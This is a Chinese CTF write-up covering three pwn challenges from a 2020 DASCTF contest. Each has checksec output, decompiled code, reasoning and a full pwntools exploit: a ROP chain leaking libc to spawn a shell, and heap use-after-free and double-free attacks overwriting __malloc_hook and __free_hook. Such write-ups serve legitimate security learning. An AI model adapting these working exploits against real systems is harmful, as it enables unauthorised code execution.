安恒月赛2020DASCTF——PWN Surager

前言

昨晚跟那群大佬玩机器人狼人杀,搅屎搅了三局,睡得太晚了。导致今天精神萎靡。

这几天以来一道PWN题目都没做过,对堆题极度过敏。但凡见到菜单直接删文件,关虚拟机。

上午做了一上午被窝战神,下午睡到2点钟。醒来发现安恒月赛开打了。

今天突然来了精神,想自己调调试试,不知不觉中就把这次的pwn题ak了。但是这不是我厉害,而是题目简单。

但凡是做出来的题,都是出题人故意出简单的。但凡没做出来的题,都是我菜。

echo_server

analysis

 ○ file test
test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=eb00905eb1396dad1b1689a02c6377b29dfabc00, stripped
 ○ checksec test
[*] '/mnt/e/BaiduNetdiskDownload/DASCTF/2004225e9ff11d445a3/test'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

经典栈溢出题,返回到main函数的时候有问题。就直接找了个call给填上了。

.text:00000000004007A5                 call    sub_4006D2

exp

from pwn import *
io = remote("183.129.189.60",10005)
#io = process("./test")
elf =ELF("./test")
libc = ELF('./libc.so.6')
context.log_level = 'debug'

rdi = 0x0000000000400823
rsi_r15 = 0x0000000000400821
format_str1 = 0x400875
main =0x4007A5
ret =0x000000000040055e

io.recvuntil('name: ')
io.sendline(str(0x100))
io.recvuntil('name? ')
payload = 'a'*0x80+'a'*0x8+p64(rdi) + p64(format_str1) + p64(rsi_r15) + p64(elf.got['read']) + p64(0x0) + p64(elf.plt['printf']) + p64(main)
io.send(payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info(hex(leak))
libc_base = leak - libc.sym['read']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()
io.recvuntil('name: ')
io.sendline(str(0x100))
io.recvuntil('name? ')
payload = 'a'*0x80+'a'*0x8+p64(ret) + p64(rdi)+p64(binsh) + p64(system)
io.send(payload)
io.interactive()

flag

efc5b74ddb1cfc7a80237e46ed288395

sale_office

analysis

○ file sales_office
sales_office: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=29f903654192dcdd9f1fa393c3712ddfec954dda, not stripped
 ○ checksec sales_office
[*] '/mnt/e/BaiduNetdiskDownload/DASCTF/2004225e9ff11dc91f1/sales_office/sales_office'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位的动态链接ELF文件没开PIE。libc2.27。

add函数:

  if ( num > 12 )
    puts("You have no money.");
  v0 = num;
  area[v0] = malloc(0x10uLL);
  puts("Please input the size of your house:");
  v3 = read_int();
  if ( v3 > 0x60 )
    return puts("You can't afford it.");
  if ( v3 < 0 )
    return puts("?");
  *(area[num] + 2) = v3;
  v2 = area[num];
  *v2 = malloc(v3);
  puts("please decorate your house:");
  read(0, *area[num], v3);
  puts("Done!");
  return num++ + 1;

其中malloc后没有清除掉。

  if ( v3 > 0x60 )
    return puts("You can't afford it.");
  if ( v3 < 0 )
    return puts("?");

利用这个可以单独malloc出一个0x10大小的chunk来。

int sell()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 12 )
    exit(0);
  if ( area[v1] )
  {
    free(*area[v1]);
    free(area[v1]);
  }
  return puts("Done!");
}

UAF漏洞。

思路:

  1. 通过malloc(-1)等操作获得一个可写的0x10chunk,将got地址写入,得到libc。
  2. double free打malloc_hook。
  3. 此题与XCTF高校战疫的easyheap仅仅差一个edit函数。

exp

from pwn import *
#io = process("./sales_office")
io = remote("183.129.189.60",10008)
elf = ELF("./sales_office")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'

def add_fake():
    io.sendlineafter("choice:",'1')
    io.sendlineafter("house:\n",'-1')

def add(size,con):
    io.sendlineafter("choice:",'1')
    io.sendlineafter("house:\n",str(size))
    io.sendafter("house:\n",con)

def free(idx):
    io.sendlineafter("choice:",'4')
    io.sendlineafter("index:\n",str(idx))

def show(idx):
    io.sendlineafter("choice:",'3')
    io.sendlineafter("index:\n",str(idx))

def dbg():
    gdb.attach(io)
    pause()

add(0x60,'a')#0
add(0x60,'a')#1
add(0x60,'a')#2
for i in range(3):
    free(i)
add_fake()
add(0x10,p64(elf.got['free']))
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.sym['free']
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = libc_base + 0x10a38c
free(1)
free(2)
add(0x10,p64(malloc_hook))
add(0x10,p64(one))
io.sendlineafter("choice:",'1')
io.interactive()

flag

flag{fb1dc590ab91fe3a7422753161573991}

sale_office2

analysis

跟上一题一样,由于是libc2.29,tcache double free不好用了。

思路:

  1. 同上一问。
  2. 把tcachebin填满之后进fastbin,fastbin double free之后放进tcachebin。
  3. add到最后num不够了,改成打free_hook。

exp

from pwn import *
io = process("./sales_office")
#io = remote("das.wetolink.com",28499)
elf = ELF("./sales_office")
libc = ELF("./libc.so")
#context.log_level = 'debug'

def add_fake():
    io.sendlineafter("choice:",'1')
    io.sendlineafter("house:\n",'-1')

def add(size,con):
    io.sendlineafter("choice:",'1')
    io.sendlineafter("house:\n",str(size))
    io.sendafter("house:\n",con)

def free(idx):
    io.sendlineafter("choice:",'4')
    io.sendlineafter("index:\n",str(idx))

def show(idx):
    io.sendlineafter("choice:",'3')
    io.sendlineafter("index:\n",str(idx))

def dbg():
    gdb.attach(io)
    pause()

add(0x60,'a')#0
add(0x60,'a')#1
add(0x60,'a')#2
for i in range(3):
    free(i)
add_fake()
add(0x10,p64(elf.got['free']))
show(0)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.sym['free']
log.info(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.info(hex(free_hook))
one = libc_base + 0xe2383

add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add_fake()
free(4)
free(5)
free(6)
free(8) # 填7个chunk进tcachebin

free(1)
free(7)
free(2) # fastbin double free

add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add_fake()# 取出所有tcache

add(0x10,p64(free_hook))
add(0x10,'a')
add(0x10,p64(one))
io.sendlineafter("choice:",'4')
io.sendlineafter("index:\n",'0')
io.interactive()

flag

flag{THE_FLAG_OF_THIS_STRING}